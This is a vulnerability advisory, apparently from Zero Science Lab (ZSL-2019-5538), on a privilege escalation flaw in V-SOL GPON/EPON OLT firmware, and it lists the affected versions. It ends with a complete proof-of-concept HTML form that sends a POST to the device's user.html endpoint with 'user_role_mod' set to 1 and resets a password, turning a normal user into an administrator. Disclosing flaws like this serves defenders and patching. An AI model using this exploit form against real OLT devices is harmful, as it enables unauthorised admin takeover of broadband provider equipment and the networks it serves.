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V-SOL GPON/EPON OLT Platform v2.03 Remote Privilege Escalation  
  
  
Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.  
Product web page: https://www.vsolcn.com  
Affected version: V2.03.62R_IPv6  
V2.03.54R  
V2.03.52R  
V2.03.49  
V2.03.47  
V2.03.40  
V2.03.26  
V2.03.24  
V1.8.6  
V1.4  
  
Summary: GPON is currently the leading FTTH standard in broadband access  
technology being widely deployed by service providers around the world.  
GPON/EPON OLT products are 1U height 19 inch rack mount products. The  
features of the OLT are small, convenient, flexible, easy to deploy, high  
performance. It is appropriate to be deployed in compact room environment.  
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and  
ICT applications.  
  
Desc: The application suffers from a privilege escalation vulnerability.  
Normal user can elevate his/her privileges by sending a HTTP POST request  
setting the parameter 'user_role_mod' to integer value '1' gaining admin  
rights.  
  
Tested on: GoAhead-Webs  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5538  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5538.php  
  
25.09.2019  
  
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<html>  
<body>  
<form action="http://192.168.8.200/action/user.html" method="POST">  
<input type="hidden" name="user_name_add" value="" />  
<input type="hidden" name="user_password_add" value="" />  
<input type="hidden" name="password_confirm_add" value="" />  
<input type="hidden" name="user_role" value="0" />  
<input type="hidden" name="user_password_mod" value="test" />  
<input type="hidden" name="password_confirm_mod" value="test" />  
<input type="hidden" name="user_role_mod" value="1" />  
<input type="hidden" name="option_um" value="17" />  
<input type="hidden" name="who" value="1" />  
<input type="submit" value="Escalate" />  
</form>  
</body>  
</html>